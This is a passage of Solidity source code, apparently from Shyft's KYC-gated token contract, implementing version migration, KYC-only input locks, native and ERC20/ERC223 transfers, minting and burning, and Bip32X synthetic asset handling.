}
balances[msg.sender][nativeBip32X_type] = balances[msg.sender][nativeBip32X_type].add(msg.value);
totalSupplyBip32X[nativeBip32X_type] = totalSupplyBip32X[nativeBip32X_type].add(msg.value);
emit EVT_receivedNativeBalance(msg.sender, msg.value);
}
}
/// @param _kycContractAddress The Shyft Kyc Contract to migrate to.
/// @param _to The user's address to migrate to
/// @param _amount The amount of tokens to migrate.
/// @dev Internal function to migrates the user's assets to another Shyft Kyc Contract. This function is called from the fallback to allocate tokens properly to the upgraded contract.
/// @return result
/// | true = transfer complete
/// | false = transfer did not complete
function migrateToKycContract(address _kycContractAddress, address _to, uint256 _amount) internal returns (bool result) {
// call upgraded contract so that tokens are forwarded to the new contract under _to's account.
IShyftKycContract updatedKycContract = IShyftKycContract(updatedShyftKycContractAddress);
emit EVT_migrateToKycContract(updatedShyftKycContractAddress, address(updatedShyftKycContractAddress).balance, _kycContractAddress, _to, _amount);
// sending to ShyftKycContracts only; migrateFromKycContract uses ~75830 - 21000 gas to execute,
// with a registry lookup, so adding in a bit more for future contracts.
bool transferResult = updatedKycContract.migrateFromKycContract{value: _amount, gas: 100000}(_to);
if (transferResult == true) {
//transfer complete
return true;
} else {
//transfer did not complete
return false;
}
}
/// @param _to The user's address to migrate to.
/// @dev | Migrates the user's assets from another Shyft Kyc Contract. The following conditions have to pass:
/// | a) message sender is a shyft kyc contract,
/// | b) sending shyft kyc contract is not of a later version than this one
/// | c) user on this shyft kyc contract have no restrictions on only accepting KYC input (will ease in v2)
/// @return result
/// | true = migration completed successfully
/// | [revert] = reverts on any situation that fails on the above parameters
function migrateFromKycContract(address _to) public payable override returns (bool result) {
//@note: doing a very strict check to make sure no unwanted additional tokens can be created.
// the way this work is that this.balance is updated *before* this code runs.
// thus, as long as we've always updated totalSupplyBip32X when we've created or destroyed tokens, we'll
// always be able to check against this.balance.
//regarding an issue found:
//"Smart contracts, though they may not expect it, can receive ether forcibly, or could be deployed at an
// address that already received some ether."
// from:
// "require(totalSupplyBip32X[nativeBip32X_type].add(msg.value) == address(this).balance);"
//
// the worst case scenario in some non-atomic calls (without going through withdrawToShyftKycContract for example)
// is that someone self-destructs a contract and forcibly sends ether to this address, before this is triggered by
// someone using it.
// solution:
// we cannot do a simple equality check for address(this).balance. instead, we use an less-than-or-equal-to, as
// when the worst case above occurs, the total supply of this synthetic will be less than the balance within this
// contract.
require(totalSupplyBip32X[nativeBip32X_type].add(msg.value) <= address(this).balance, "could not migrate funds due to insufficient backing balance");
bool doContinue = true;
IShyftKycContractRegistry contractRegistry = IShyftKycContractRegistry(shyftKycContractRegistryAddress);
// check if only using a known kyc contract communication cycle, then verify the message sender is a kyc contract.
if (contractRegistry.isShyftKycContract(address(msg.sender)) == false) {
doContinue = false;
} else {
// only allow migration from equal or older versions of Shyft Kyc Contracts, via registry lookup.
if (contractRegistry.getContractVersionOfAddress(address(msg.sender)) > contractRegistry.getContractVersionOfAddress(address(this))) {
doContinue = false;
}
}
// block transfers if the recipient only allows kyc input
if (onlyAcceptsKycInput[_to] == true) {
doContinue = false;
}
if (doContinue == true) {
emit EVT_migrateFromContract(msg.sender, totalSupplyBip32X[nativeBip32X_type], msg.value, address(this).balance);
balances[_to][nativeBip32X_type] = balances[_to][nativeBip32X_type].add(msg.value);
totalSupplyBip32X[nativeBip32X_type] = totalSupplyBip32X[nativeBip32X_type].add(msg.value);
//transfer complete
return true;
} else {
//kyc contract not in registry
//@note: transactional event has occurred, so revert() is necessary
revert("kyc contract is not in registry, or must use trust channels");
//return false;
}
}
/// @param _onlyAcceptsKycInputValue Whether to accept only Kyc Input.
/// @dev Sets whether to accept only Kyc Input in the future.
/// @return result
/// | true = updated onlyAcceptsKycInput
/// | false = cannot modify onlyAcceptsKycInput, as it is locked permanently by user
function setOnlyAcceptsKycInput(bool _onlyAcceptsKycInputValue) public returns (bool result) {
if (lockOnlyAcceptsKycInputPermanently[msg.sender] == false) {
onlyAcceptsKycInput[msg.sender] = _onlyAcceptsKycInputValue;
//updated onlyAcceptsKycInput
return true;
} else {
//cannot modify onlyAcceptsKycInput, as it is locked permanently by user
return false;
}
}
/// @dev Gets whether the user has set Accepts Kyc Input.
/// @return result
/// | true = set lock for onlyAcceptsKycInput
/// | false = already set lock for onlyAcceptsKycInput
function setLockOnlyAcceptsKycInputPermanently() public returns (bool result) {
if (lockOnlyAcceptsKycInputPermanently[msg.sender] == false) {
lockOnlyAcceptsKycInputPermanently[msg.sender] = true;
//set lock for onlyAcceptsKycInput
return true;
} else {
//already set lock for onlyAcceptsKycInput
return false;
}
}
/// @param _machineConsentHelperAddress The address of the Machine Consent Helper.
/// @dev Sets the Machine Consent Helper address. This address can lock kyc inputs for contracts permanently, for use in compliant DeFi pools.
/// @return result
/// | true = set machine consent helper address
/// | false = cannot set machine consent helper address, either not the Owner, the address input is 0x0, or the machine helper address has already been set by the Owner.
function setMachineConsentHelperAddress(address _machineConsentHelperAddress) public returns (bool result) {
require(msg.sender == owner, "not owner");
require(_machineConsentHelperAddress != address(0), "machine consent helper address cannot equal zero");
require(machineConsentHelperAddress == address(0), "machine consent helper address must not have already been set");
machineConsentHelperAddress = _machineConsentHelperAddress;
// set machine consent helper address
return true;
}
/// @param _contractAddress The contract address to lock only accepts kyc input permanently
/// @dev Sets the Machine Consent Helper address. This address can lock kyc inputs for contracts permanently, for use in compliant DeFi pools.
/// @return result
/// | true = set only accepts kyc input permanently for the contract
/// | false = not a contract address, or no machine (autonomous smart contract) consent helper found
function lockContractToOnlyAcceptsKycInputPermanently(address _contractAddress) public returns (bool result) {
// check for machine consent helper as the sender.
if (msg.sender == machineConsentHelperAddress) {
// make sure this is a contract address (has code in it)
if (isContractAddress(_contractAddress)) {
// forces only accepting KYC input from this point on.
onlyAcceptsKycInput[_contractAddress] = true;
lockOnlyAcceptsKycInputPermanently[_contractAddress] = true;
// set only accepts kyc input permanently for the contract
return true;
} else {
// not a contract address
return false;
}
} else {
// no machine consent helper found
return false;
}
}
/// @param _identifiedAddress The public address to check.
/// @dev Gets whether the user has set Accepts Kyc Input.
/// @return result whether the user has set Accepts Kyc Input
function getOnlyAcceptsKycInput(address _identifiedAddress) public view override returns (bool result) {
return onlyAcceptsKycInput[_identifiedAddress];
}
/// @param _identifiedAddress The public address to check.
/// @dev Gets whether the user has set Accepts Kyc Input permanently (whether on or off).
/// @return result whether the user has set Accepts Kyc Input permanently (whether on or off)
function getOnlyAcceptsKycInputPermanently(address _identifiedAddress) public view override returns (bool result) {
return lockOnlyAcceptsKycInputPermanently[_identifiedAddress];
}
//---------------- Token Upgrades ----------------//
//****************************************************************************************************************//
//@note: instead of explicitly returning, assign return value to variable allows the code after the _;
// in the mutex modifier to be run!
//****************************************************************************************************************//
/// @param _value The amount of tokens to upgrade.
/// @dev Upgrades the user's tokens by sending them to the next contract (which will do the same). Sets auto upgrade for the user as well.
/// @return result
/// | 3 = withdrew correctly
/// | 2 = could not withdraw
/// | 1 = not enough balance
/// | 0 = contract has not been updated
function upgradeNativeTokens(uint256 _value) mutex public returns (uint256 result) {
//check if it's been updated
if (hasBeenUpdated == true) {
//make sure the msg.sender has enough synthetic fuel to transfer
if (balances[msg.sender][nativeBip32X_type] >= _value) {
autoUpgradeEnabled[msg.sender] = true;
//then proceed to send to address(this) to initiate the autoUpgrade
// to the new contract.
bool withdrawResult = _withdrawToShyftKycContract(updatedShyftKycContractAddress, msg.sender, _value);
if (withdrawResult == true) {
//withdrew correctly
result = 3;
} else {
//could not withdraw
result = 2;
}
} else {
//not enough balance
result = 1;
}
} else {
//contract has not been updated
result = 0;
}
}
/// @param _autoUpgrade Whether the tokens should be automatically upgraded when sent to this contract.
/// @dev Sets auto upgrade for the message sender, for fallback functionality to upgrade tokens on receipt. The only reason a user would want to call this function is to modify behaviour *after* this contract has been updated, thus allowing choice.
function setAutoUpgrade(bool _autoUpgrade) public {
autoUpgradeEnabled[msg.sender] = _autoUpgrade;
}
function isContractAddress(address _potentialContractAddress) internal returns (bool result) {
uint codeLength;
//retrieve the size of the code on target address, this needs assembly
assembly {
codeLength := extcodesize(_potentialContractAddress)
}
//check to see if there's any code (contract) or not.
if (codeLength == 0) {
return false;
} else {
return true;
}
}
//---------------- Native withdrawal / transfer functions ----------------//
/// @param _to The destination payable address to send to.
/// @param _value The amount of tokens to transfer.
/// @dev Transfers native tokens (based on the current native Bip32X type, ex Shyft = 7341, Ethereum = 1) to the user's wallet.
/// @notice 30k gas limit for transfers.
/// @return ok
/// | true = native tokens withdrawn properly
/// | false = the user does not have enough balance, or found a smart contract address instead of a payable address.
function withdrawNative(address payable _to, uint256 _value) mutex public override returns (bool ok) {
if (balances[msg.sender][nativeBip32X_type] >= _value) {
//makes sure it's sending to a native (non-contract) address
if (isContractAddress(_to) == false) {
balances[msg.sender][nativeBip32X_type] = balances[msg.sender][nativeBip32X_type].sub(_value);
totalSupplyBip32X[nativeBip32X_type] = totalSupplyBip32X[nativeBip32X_type].sub(_value);
//@note: this is going to a regular account. the existing balance has already been reduced,
// and as such the only thing to do is to send the actual Shyft fuel (or Ether, etc) to the
// target address.
_to.transfer(_value);
emit EVT_WithdrawToAddress(msg.sender, _to, _value);
ok = true;
} else {
ok = false;
}
} else {
ok = false;
}
}
/// @param _to The destination smart contract address to send to.
/// @param _value The amount of tokens to transfer.
/// @param _gasAmount The amount of gas for the transfer (>30k is a different receiver gas type beyond normal accounting + 1 event)
/// @dev Transfers SHFT tokens to another external contract.
/// @notice 30k gas limit for transfers should be used unless there are specific reasons otherwise.
/// @return ok
/// | true = tokens withdrawn properly to another contract
/// | false = the user does not have enough balance, or not a contract address
function withdrawToExternalContract(address _to, uint256 _value, uint256 _gasAmount) mutex public override returns (bool ok) {
if (balances[msg.sender][nativeBip32X_type] >= _value) {
if (isContractAddress(_to)) {
balances[msg.sender][nativeBip32X_type] = balances[msg.sender][nativeBip32X_type].sub(_value);
totalSupplyBip32X[nativeBip32X_type] = totalSupplyBip32X[nativeBip32X_type].sub(_value);
//this will fail when sending to contracts with fallback functions that consume more than 20000 gas
(bool success, ) = _to.call{value: _value, gas: _gasAmount}("");
if (success == true) {
emit EVT_WithdrawToExternalContract(msg.sender, _to, _value);
// tokens withdrawn properly to another contract
ok = true;
} else {
//@note:@here: needs revert() due to asset transactions already having occurred
revert("could not withdraw to an external contract");
//ok = false;
}
} else {
// not a contract address
ok = false;
}
} else {
// user does not have enough balance
ok = false;
}
}
/// @param _shyftKycContractAddress The address of the Shyft Kyc Contract that is being send to.
/// @param _to The destination address to send to.
/// @param _value The amount of tokens to transfer.
/// @dev Transfers SHFT tokens to another Shyft Kyc contract.
/// @notice 120k gas limit for transfers.
/// @return ok
/// | true = tokens withdrawn properly to another Kyc Contract.
/// | false = the user does not have enough balance, not a valid ShyftKycContract via registry lookup, or not a correct shyft contract address, or receiver only accepts kyc input.
function withdrawToShyftKycContract(address _shyftKycContractAddress, address _to, uint256 _value) mutex public override returns (bool ok) {
return _withdrawToShyftKycContract(_shyftKycContractAddress, _to, _value);
}
function _withdrawToShyftKycContract(address _shyftKycContractAddress, address _to, uint256 _value) internal returns (bool ok) {
if (balances[msg.sender][nativeBip32X_type] >= _value) {
if (isContractAddress(_shyftKycContractAddress) == true) {
IShyftKycContractRegistry contractRegistry = IShyftKycContractRegistry(shyftKycContractRegistryAddress);
// check if only using a known kyc contract communication cycle, then verify the message sender is a kyc contract.
if (contractRegistry.isShyftKycContract(_shyftKycContractAddress) == true) {
IShyftKycContract receivingShyftKycContract = IShyftKycContract(_shyftKycContractAddress);
if (receivingShyftKycContract.getOnlyAcceptsKycInput(_to) == false) {
balances[msg.sender][nativeBip32X_type] = balances[msg.sender][nativeBip32X_type].sub(_value);
totalSupplyBip32X[nativeBip32X_type] = totalSupplyBip32X[nativeBip32X_type].sub(_value);
// sending to ShyftKycContracts only; migrateFromKycContract uses ~75830 - 21000 gas to execute,
// with a registry lookup. Adding 50k more just in case there are other checks in the v2.
if (receivingShyftKycContract.migrateFromKycContract{gas: 120000, value: _value}(_to) == false) {
revert("could not migrate from shyft kyc contract");
}
emit EVT_WithdrawToShyftKycContract(msg.sender, _to, _value);
ok = true;
} else {
// receiver only accepts kyc input
ok = false;
}
} else {
// is not a valid ShyftKycContract via registry lookup.
ok = false;
}
} else {
// not a smart contract
ok = false;
}
} else {
ok = false;
}
}
//---------------- ERC 223 receiver ----------------//
/// @param _from The address of the origin.
/// @param _value The address of the recipient.
/// @param _data The bytes data of any ERC223 transfer function.
/// @dev Token fallback method to receive assets. ERC223 functionality. This version does allow for one specific (origin) contract to transfer tokens to it.
/// @return ok returns true if the checks pass and there are enough allowed + actual tokens to transfer to the recipient.
function tokenFallback(address _from, uint _value, bytes memory _data) mutex public override returns (bool ok) {
// block transfers if the recipient only allows kyc input, check other factors
require(onlyAcceptsKycInput[_from] == false, "recipient address must not require only kyc'd input");
IShyftKycContractRegistry contractRegistry = IShyftKycContractRegistry(shyftKycContractRegistryAddress);
// if kyc registry exists, check if only using a known kyc contract communication cycle, then verify the message
// sender is a kyc contract.
if (shyftKycContractRegistryAddress != address(0) && contractRegistry.isShyftKycContract(address(msg.sender)) == true) {
if (contractRegistry.getContractVersionOfAddress(address(msg.sender)) == 0) {
// 1: the msg.sender will be the smart contract of origin.
// 2: the sender has sent to this address.
// 3: the only data we have is the "from" that is unique, this is the initial msg.sender of the transaction chain.
// 4: consider the main purpose of the send to be upgrading anyhow
// 5: this contract will now have a balance in the other one, which it never needs to move (very important if there were issues with the act of person<->person transfer).
// 6: this contract will then *mint* the balance into being, into the sender's account.
bytes4 tokenSig;
//make sure we have enough bytes to determine a signature
if (_data.length >= 4) {
tokenSig = bytes4(uint32(bytes4(bytes1(_data[3])) >> 24) + uint32(bytes4(bytes1(_data[2])) >> 16) + uint32(bytes4(bytes1(_data[1])) >> 8) + uint32(bytes4(bytes1(_data[0]))));
}
// reject the transaction if the token signature is a "withdrawToExternalContract" event from the v0 contract.
// as this update has zero issues
if (tokenSig != shyftKycContractSig) {
balances[_from][ShyftTokenType] = balances[_from][ShyftTokenType].add(_value);
totalSupplyBip32X[ShyftTokenType] = totalSupplyBip32X[ShyftTokenType].add(_value);
v1TotalUpgradeAmount = v1TotalUpgradeAmount.add(_value);
emit EVT_TransferAndMintBip32X(msg.sender, _from, _value, ShyftTokenType);
emit EVT_UpgradeFromV1(msg.sender, _from, _value);
ok = true;
} else {
revert("cannot process a withdrawToExternalContract event from the v0 contract.");
}
} else {
revert("cannot process fallback from Shyft Kyc Contract of a revision not equal to 0, in this version of Shyft Core");
}
}
}
//---------------- ERC 20 ----------------//
/// @param _who The address of the user.
/// @dev Gets the balance for the SHFT token type for a specific user.
/// @return the balance of the SHFT token type for the user
function balanceOf(address _who) public view override returns (uint) {
return balances[_who][ShyftTokenType];
}
/// @dev Gets the name of the token.
/// @return _name of the token.
function name() public pure returns (string memory _name) {
return "Shyft [ Wrapped ]";
}
/// @dev Gets the symbol of the token.
/// @return _symbol the symbol of the token
function symbol() public pure returns (string memory _symbol) {
//@note: "SFT" is the 3 letter variant
return "SHFT";
}
/// @dev Gets the number of decimals of the token.
/// @return _decimals number of decimals of the token.
function decimals() public pure returns (uint8 _decimals) {
return 18;
}
/// @dev Gets the number of SHFT tokens available.
/// @return result total supply of SHFT tokens
function totalSupply() public view override returns (uint256 result) {
return getTotalSupplyBip32X(ShyftTokenType);
}
/// @param _to The address of the origin.
/// @param _value The address of the recipient.
/// @dev Transfers assets to destination, with ERC20 functionality. (basic ERC20 functionality, but blocks transactions if Only Accepts Kyc Input is set to true.)
/// @return ok returns true if the checks pass and there are enough allowed + actual tokens to transfer to the recipient.
function transfer(address _to, uint256 _value) public override returns (bool ok) {
// block transfers if the recipient only allows kyc input, check other factors
if (onlyAcceptsKycInput[_to] == false && balances[msg.sender][ShyftTokenType] >= _value) {
balances[msg.sender][ShyftTokenType] = balances[msg.sender][ShyftTokenType].sub(_value);
balances[_to][ShyftTokenType] = balances[_to][ShyftTokenType].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
/// @param _tokenOwner The address of the origin.
/// @param _spender The address of the recipient.
/// @dev Get the current allowance for the basic Shyft token type. (basic ERC20 functionality)
/// @return remaining the current allowance for the basic Shyft token type for a specific user
function allowance(address _tokenOwner, address _spender) public view override returns (uint remaining) {
return allowed[_tokenOwner][_spender][ShyftTokenType];
}
/// @param _spender The address of the recipient.
/// @param _tokens The amount of tokens to transfer.
/// @dev Allows pre-approving assets to be sent to a participant. (basic ERC20 functionality)
/// @notice This (standard) function known to have an issue.
/// @return success whether the approve function completed successfully
function approve(address _spender, uint _tokens) public override returns (bool success) {
allowed[msg.sender][_spender][ShyftTokenType] = _tokens;
//example of issue:
//user a has 20 tokens allowed from zero :: no incentive to frontrun
//user a has +2 tokens allowed from 20 :: frontrunning would deplete 20 and add 2 :: incentive there.
emit Approval(msg.sender, _spender, _tokens);
return true;
}
/// @param _from The address of the origin.
/// @param _to The address of the recipient.
/// @param _tokens The amount of tokens to transfer.
/// @dev Performs the withdrawal of pre-approved assets. (basic ERC20 functionality, but blocks transactions if Only Accepts Kyc Input is set to true.)
/// @return success returns true if the checks pass and there are enough allowed + actual tokens to transfer to the recipient.
function transferFrom(address _from, address _to, uint _tokens) public override returns (bool success) {
// block transfers if the recipient only allows kyc input, check other factors
if (onlyAcceptsKycInput[_to] == false && allowed[_from][msg.sender][ShyftTokenType] >= _tokens && balances[_from][ShyftTokenType] >= _tokens) {
allowed[_from][msg.sender][ShyftTokenType] = allowed[_from][msg.sender][ShyftTokenType].sub(_tokens);
balances[_from][ShyftTokenType] = balances[_from][ShyftTokenType].sub(_tokens);
balances[_to][ShyftTokenType] = balances[_to][ShyftTokenType].add(_tokens);
emit Transfer(_from, _to, _tokens);
emit Approval(_from, msg.sender, allowed[_from][msg.sender][ShyftTokenType]);
return true;
} else {
return false;
}
}
//---------------- ERC20 Burnable/Mintable ----------------//
/// @param _to The address of the receiver of minted tokens.
/// @param _amount The amount of minted tokens.
/// @dev Mints tokens to a specific address. Called only by an account with a minter role.
/// @notice Has Shyft Opt-in Compliance feature-sets for expansion/mvp capabilities.
function mint(address _to, uint256 _amount) public {
require(_to != address(0), "ShyftKycContract: mint to the zero address");
require(hasRole(MINTER_ROLE, msg.sender), "ShyftKycContract: must have minter role to mint");
// @note: for the initial deploy we'll be able to provide an mvp implementation, and I've made it quite difficult
// for the user to constrain themselves to kyc-only mode, especially before we have custom interfaces.
// checks for Shyft opt-in compliance feature-sets to enforce kyc trust channel groupings.
if (onlyAcceptsKycInput[_to] == true) {
//make sure that there is a cache graph linked, otherwise revert.
if (shyftCacheGraphAddress != address(0)) {
IShyftCacheGraph shyftCacheGraph = IShyftCacheGraph(shyftCacheGraphAddress);
//checks on consent-driven trust channels that the end user and the relayer have in common
uint8 kycCanSendResult = shyftCacheGraph.getKycCanSend(msg.sender, _to, _amount, ShyftTokenType, true, false);
//if there are any matches
if (kycCanSendResult == 3) {
// continue on
} else {
// or revert if there are no matches found.
revert("ShyftKycContract: mint to KYC only address within Trust Channel groupings");
}
} else {
revert("ShyftKycContract: mint to KYC only address within Trust Channel groupings");
}
}
totalSupplyBip32X[ShyftTokenType] = totalSupplyBip32X[ShyftTokenType].add(_amount);
balances[_to][ShyftTokenType] = balances[_to][ShyftTokenType].add(_amount);
emit Transfer(address(0), _to, _amount);
}
/// @param _account The address from which to burn tokens tokens.
/// @param _amount The amount of burned tokens.
/// @dev Burns tokens from a specific address, deducting from the caller's allowance.
/// @dev The caller must have allowance for `accounts`'s tokens of at least `amount`.
function burnFrom(address _account, uint256 _amount) public {
require(_account != address(0), "ShyftKycContract: burn from the zero address");
uint256 currentAllowance = allowed[_account][msg.sender][ShyftTokenType];
require(currentAllowance >= _amount, "ShyftKycContract: burn amount exceeds allowance");
uint256 accountBalance = balances[_account][ShyftTokenType];
require(accountBalance >= _amount, "ShyftKycContract: burn amount exceeds balance");
allowed[_account][msg.sender][ShyftTokenType] = currentAllowance.sub(_amount);
emit Approval(_account, msg.sender, allowed[_account][msg.sender][ShyftTokenType]);
balances[_account][ShyftTokenType] = accountBalance.sub(_amount);
totalSupplyBip32X[ShyftTokenType] = totalSupplyBip32X[ShyftTokenType].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
//---------------- Bip32X Burnable/Mintable ----------------//
/// @param _to The address of the receiver of minted tokens.
/// @param _amount The amount of minted tokens.
/// @param _bip32X_type The Bip32X type of the token.
/// @dev Mints tokens to a specific address. Called only by an account with a minter role.
/// @notice Has Shyft Opt-in Compliance feature-sets for expansion/mvp capabilities.
function mintBip32X(address _to, uint256 _amount, uint256 _bip32X_type) public override {
require(_to != address(0), "ShyftKycContract: mint to the zero address");
require(hasRole(MINTER_ROLE, msg.sender), "ShyftKycContract: must have minter role to mint");
// @note: for the initial deploy we'll be able to provide an mvp implementation, and I've made it quite difficult
// for the user to constrain themselves to kyc-only mode, especially before we have custom interfaces.
// checks for Shyft opt-in compliance feature-sets to enforce kyc trust channel groupings.
if (onlyAcceptsKycInput[_to] == true) {
//make sure that there is a cache graph linked, otherwise revert.
if (shyftCacheGraphAddress != address(0)) {
IShyftCacheGraph shyftCacheGraph = IShyftCacheGraph(shyftCacheGraphAddress);
//checks on consent-driven trust channels that the end user and the relayer have in common
uint8 kycCanSendResult = shyftCacheGraph.getKycCanSend(msg.sender, _to, _amount, _bip32X_type, true, false);
//if there are any matches
if (kycCanSendResult == 3) {
// continue on
} else {
// or revert if there are no matches found.
revert("ShyftKycContract: mint to KYC only address within Trust Channel groupings");
}
} else {
revert("ShyftKycContract: mint to KYC only address within Trust Channel groupings");
}
}
totalSupplyBip32X[_bip32X_type] = totalSupplyBip32X[_bip32X_type].add(_amount);
balances[_to][_bip32X_type] = balances[_to][_bip32X_type].add(_amount);
emit EVT_TransferBip32X(address(0), _to, _amount, _bip32X_type);
}
/// @param _account The address from which to burn tokens tokens.
/// @param _amount The amount of burned tokens.
/// @param _bip32X_type The Bip32X type of the token.
/// @dev Burns tokens from a specific address, deducting from the caller's allowance.
/// @dev The caller must have allowance for `accounts`'s tokens of at least `amount`.
function burnFromBip32X(address _account, uint256 _amount, uint256 _bip32X_type) public override {
require(_account != address(0), "ShyftKycContract: burn from the zero address");
uint256 currentAllowance = allowed[_account][msg.sender][_bip32X_type];
require(currentAllowance >= _amount, "ShyftKycContract: burn amount exceeds allowance");
uint256 accountBalance = balances[_account][_bip32X_type];
require(accountBalance >= _amount, "ShyftKycContract: burn amount exceeds balance");
allowed[_account][msg.sender][_bip32X_type] = currentAllowance.sub(_amount);
emit EVT_ApprovalBip32X(_account, msg.sender, allowed[_account][msg.sender][_bip32X_type], _bip32X_type);
balances[_account][_bip32X_type] = accountBalance.sub(_amount);
totalSupplyBip32X[_bip32X_type] = totalSupplyBip32X[_bip32X_type].sub(_amount);
emit EVT_TransferBip32X(_account, address(0), _amount, _bip32X_type);
}
//---------------- Shyft Token Transfer / Approval [KycContract] ----------------//
/// @param _to The address of the recipient.
/// @param _value The amount of tokens to transfer.
/// @param _bip32X_type The Bip32X type of the asset to transfer.
/// @dev | Transfers assets from one Shyft user to another, with restrictions on the transfer if the recipient has enabled Only Accept KYC Input.
/// @return result returns true if the transaction completes, reverts if it does not.
function transferBip32X(address _to, uint256 _value, uint256 _bip32X_type) public override returns (bool result) {
// block transfers if the recipient only allows kyc input
require(onlyAcceptsKycInput[_to] == false, "recipient must not only accept kyc'd input");
require(balances[msg.sender][_bip32X_type] >= _value, "not enough balance");
balances[msg.sender][_bip32X_type] = balances[msg.sender][_bip32X_type].sub(_value);
balances[_to][_bip32X_type] = balances[_to][_bip32X_type].add(_value);
emit EVT_TransferBip32X(msg.sender, _to, _value, _bip32X_type);
return true;
}
/// @param _tokenOwner The address of the origin.
/// @param _spender The address of the recipient.
/// @param _bip32X_type The Bip32X type of the token.
/// @dev Get the current allowance for the basic Shyft token type. (basic ERC20 functionality, Bip32X assets)
/// @return remaining the current allowance for the basic Shyft token type for a specific user
function allowanceBip32X(address _tokenOwner, address _spender, uint256 _bip32X_type) public view override returns (uint remaining) {
return allowed[_tokenOwner][_spender][_bip32X_type];
}
/// @param _spender The address of the recipient.
/// @param _tokens The amount of tokens to transfer.
/// @param _bip32X_type The Bip32X type of the token.
/// @dev Allows pre-approving assets to be sent to a participant. (basic ERC20 functionality, Bip32X assets)
/// @notice This (standard) function known to have an issue.
/// @return success whether the approve function completed successfully
function approveBip32X(address _spender, uint _tokens, uint256 _bip32X_type) public override returns (bool success) {
allowed[msg.sender][_spender][_bip32X_type] = _tokens;
//example of issue:
//user a has 20 tokens allowed from zero :: no incentive to frontrun
//user a has +2 tokens allowed from 20 :: frontrunning would deplete 20 and add 2 :: incentive there.
emit EVT_ApprovalBip32X(msg.sender, _spender, _tokens, _bip32X_type);
return true;
}
/// @param _from The address of the origin.
/// @param _to The address of the recipient.
/// @param _tokens The amount of tokens to transfer.
/// @param _bip32X_type The Bip32X type of the token.
/// @dev Performs the withdrawal of pre-approved assets. (basic ERC20 functionality, but blocks transactions if Only Accepts Kyc Input is set to true, Bip32X assets)
/// @return success returns true if the checks pass and there are enough allowed + actual tokens to transfer to the recipient.
function transferFromBip32X(address _from, address _to, uint _tokens, uint256 _bip32X_type) public override returns (bool success) {
// block transfers if the recipient only allows kyc input, check other factors
if (onlyAcceptsKycInput[_to] == false && allowed[_from][msg.sender][_bip32X_type] >= _tokens && balances[_from][ShyftTokenType] >= _tokens) {
allowed[_from][msg.sender][_bip32X_type] = allowed[_from][msg.sender][_bip32X_type].sub(_tokens);
balances[_from][_bip32X_type] = balances[_from][_bip32X_type].sub(_tokens);
balances[_to][_bip32X_type] = balances[_to][_bip32X_type].add(_tokens);
emit EVT_TransferBip32X(_from, _to, _tokens, _bip32X_type);
emit EVT_ApprovalBip32X(_from, msg.sender, allowed[_from][msg.sender][_bip32X_type], _bip32X_type);
return true;
} else {
return false;
}
}
//---------------- Shyft Token Transfer [Erc20] ----------------//
/// @param _erc20ContractAddress The address of the ERC20 contract.
/// @param _value The amount of tokens to transfer.
/// @dev | Transfers assets from any Erc20 contract to a Bip32X type Shyft synthetic asset. Mints the current synthetic balance.
/// @return ok returns true if the transaction completes, reverts if it does not
function transferFromErc20TokenToBip32X(address _erc20ContractAddress, uint256 _value) mutex public override returns (bool ok) {
require(_erc20ContractAddress != address(this), "cannot transfer from this contract");
// block transfers if the recipient only allows kyc input, check other factors
require(onlyAcceptsKycInput[msg.sender] == false, "recipient must not only accept kyc'd input");
IERC20 erc20Contract = IERC20(_erc20ContractAddress);
if (erc20Contract.allowance(msg.sender, address(this)) >= _value) {
erc20Contract.safeTransferFrom(msg.sender, address(this), _value);
//@note: using _erc20ContractAddress in the keccak hash since _erc20ContractAddress will be where
// the tokens are created and managed.
//
// thus, this fallback will not function properly with abstracted synthetics (including this contract)
// hence the initial require() check above to prevent this behaviour.
uint256 bip32X_type = uint256(keccak256(abi.encodePacked(nativeBip32X_type, _erc20ContractAddress)));
balances[msg.sender][bip32X_type] = balances[msg.sender][bip32X_type].add(_value);
totalSupplyBip32X[bip32X_type] = totalSupplyBip32X[bip32X_type].add(_value);
emit EVT_TransferAndMintBip32X(_erc20ContractAddress, msg.sender, _value, bip32X_type);
//transfer successful
ok = true;
} else {
//not enough allowance
}
}
/// @param _erc20ContractAddress The address of the ERC20 contract that
/// @param _to The address of the recipient.
/// @param _value The amount of tokens to transfer.
/// @dev | Withdraws a Bip32X type Shyft synthetic asset into its origin ERC20 contract. Burns the current synthetic balance.
/// | Cannot withdraw Bip32X type into an incorrect destination contract (as the hash will not match).
/// @return ok returns true if the transaction completes, reverts if it does not
function withdrawTokenBip32XToErc20(address _erc20ContractAddress, address _to, uint256 _value) mutex public override returns (bool ok) {
uint256 bip32X_type = uint256(keccak256(abi.encodePacked(nativeBip32X_type, _erc20ContractAddress)));
require(balances[msg.sender][bip32X_type] >= _value, "not enough balance");
balances[msg.sender][bip32X_type] = balances[msg.sender][bip32X_type].sub(_value);
totalSupplyBip32X[bip32X_type] = totalSupplyBip32X[bip32X_type].sub(_value);
IERC20 erc20Contract = IERC20(_erc20ContractAddress);
erc20Contract.safeTransfer(_to, _value);
emit EVT_TransferAndBurnBip32X(_erc20ContractAddress, msg.sender, _to, _value, bip32X_type);
ok = true;
}
//@note:@v1Upgrade:
//---------------- Emergency Upgrade Requirements ----------------//
// issue with the ethereum-based march 26th launch was that the transfer() function is the only way to move tokens,
// **but** the function naming convention of erc223 (which allows this functionality with a specific receiver built
// into this) is also "transfer" with the caveat that the function signature is:
// [erc20] transfer(address,uint256) vs [erc223] transfer(address,uint256,bytes).
//
// given this, there is a high likelihood that a subset of users will incorrectly trigger this upgrade function,
// leaving their coins isolated in the ERC20-ish mechanism vs being properly upgraded.
//
// as such, we're introducing an administrator-triggered differentiation into a "spendable" address for these tokens,
// with the obvious caveat that this maneuver costs ETH on the redemption side.
/// @param _emergencyResponder The address of the v1 emergency responder.
/// @dev Sets the emergency responder (address responsible for sending back incorrectly-sent transfer functions)
/// @return result
/// | 1 = set emergency responder correctly
/// | 0 = not owner
function setV1EmergencyErc20RedemptionResponder(address _emergencyResponder) public returns(uint8 result) {
if (msg.sender == owner) {
emergencyResponder = _emergencyResponder;
emit EVT_setV1EmergencyResponder(_emergencyResponder);
// set emergency responder correctly
return 1;
} else {
// not owner
return 0;
}
}
/// @dev Gets the incorrectly-sent erc20 balance (the difference between what has been associated to this contract via the upgrade function vs the erc20-based "transfer(address,uint256)" function.
/// @return result
/// | [amount] = incorrectly sent asset balance.
/// | 0 = registry not set up properly, or 0 balance.
function getIncorrectlySentAssetsBalance() public view returns(uint256 result) {
